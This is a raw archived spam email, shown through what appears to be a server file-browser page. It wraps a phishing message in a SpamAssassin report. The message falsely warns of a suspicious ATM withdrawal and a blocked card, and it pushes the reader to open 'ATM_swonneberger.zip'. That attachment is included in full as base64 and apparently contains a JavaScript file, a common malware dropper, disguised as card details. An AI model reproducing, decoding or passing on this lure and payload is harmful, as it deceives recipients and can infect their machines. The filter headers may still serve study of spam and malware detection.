
| Current Path : /home/ift/mails/15/ |
Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64 |
| Current File : //home/ift/mails/15/1480325698.zrspam.155445_2016_11_28 |
From Townsend.Tristan@alloam.screaming.net Mon Nov 28 10:34:58 2016
Return-Path: <Townsend.Tristan@alloam.screaming.net>
X-Original-To: swonneberger@ift-informatik.de
Delivered-To: swonneberger@ift-informatik.de
Received: by ift-informatik.de (Postfix, from userid 5555)
id 4EA383752552D; Mon, 28 Nov 2016 10:34:58 +0100 (CET)
Received: from localhost by h2486555.stratoserver.net
with SpamAssassin (version 3.4.0);
Mon, 28 Nov 2016 10:34:58 +0100
From: "Tristan Townsend" <Townsend.Tristan@alloam.screaming.net>
To: <swonneberger@ift-informatik.de>
Subject: *****SPAM***** Urgent Alert
Date: Mon, 28 Nov 2016 16:34:50 +0700
Message-Id: <3063573574.273706.61473.ExternalMail@ift-informatik.de>
X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on
h2486555.stratoserver.net
X-Spam-Flag: YES
X-Spam-Level: *****
X-Spam-Status: Yes, score=5.9 required=5.0 tests=BAYES_40,PYZOR_CHECK,
RCVD_IN_PBL,RCVD_IN_XBL,RDNS_NONE,UNPARSEABLE_RELAY autolearn=no
autolearn_force=no version=3.4.0
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="----------=_583BFA42.5E8A0810"
This is a multi-part message in MIME format.
------------=_583BFA42.5E8A0810
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
Spam detection software, running on the system "h2486555.stratoserver.net",
has identified this incoming email as possible spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
@@CONTACT_ADDRESS@@ for details.
Content preview: Dear swonneberger, we have detected a suspicious money ATM
withdrawal from your card. For your security, we have temporarily blocked
the card. All the details are in the attachment. Please open it when possible.
[...]
Content analysis details: (5.9 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
3.3 RCVD_IN_PBL RBL: Received via a relay in Spamhaus PBL
[42.112.240.234 listed in zen.spamhaus.org]
0.4 RCVD_IN_XBL RBL: Received via a relay in Spamhaus XBL
-0.0 BAYES_40 BODY: Bayes spam probability is 20 to 40%
[score: 0.2971]
1.4 PYZOR_CHECK Listed in Pyzor (http://pyzor.sf.net/)
0.8 RDNS_NONE Delivered to internal network by a host with no rDNS
0.0 UNPARSEABLE_RELAY Informational: message has unparseable relay lines
The original message was not completely plain text, and may be unsafe to
open with some email clients; in particular, it may contain a virus,
or confirm that your address can receive spam. If you wish to view
it, it may be safer to save it to a file and open it with an editor.
------------=_583BFA42.5E8A0810
Content-Type: message/rfc822; x-spam-type=original
Content-Description: original message before SpamAssassin
Content-Disposition: attachment
Content-Transfer-Encoding: 8bit
Received: from [42.112.240.234] (unknown [42.112.240.234])
by ift-informatik.de (Postfix) with ESMTP id 927DF3752552C
for <swonneberger@ift-informatik.de>; Mon, 28 Nov 2016 10:34:55 +0100 (CET)
Received: from internal (unknown [x.x.x.x])
Received: (nullmailer pid 10912 invoked by uid 0251001);
Mon, 28 Nov 2016 16:34:50 +0700
To: <swonneberger@ift-informatik.de>
Subject: Urgent Alert
X-PHP-Originating-Script: 0251001:ExternalMail.class.php
From: "Tristan Townsend" <Townsend.Tristan@alloam.screaming.net>
Date: Mon, 28 Nov 2016 16:34:50 +0700
MIME-Version: 1.0
Content-Type: multipart/related; boundary="b3a39bc7f110dbc0125426d66d381f78"
Message-Id: <3063573574.273706.61473.ExternalMail@ift-informatik.de>
--b3a39bc7f110dbc0125426d66d381f78
Content-type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
Dear swonneberger, we have detected a suspicious money ATM withdrawal =
from your card.
For your security, we have temporarily blocked the card.
All the details are in the attachment. Please open it when possible.
--b3a39bc7f110dbc0125426d66d381f78
Content-Type: application/zip; name="ATM_swonneberger.zip"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="ATM_swonneberger.zip"
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
--b3a39bc7f110dbc0125426d66d381f78--
------------=_583BFA42.5E8A0810--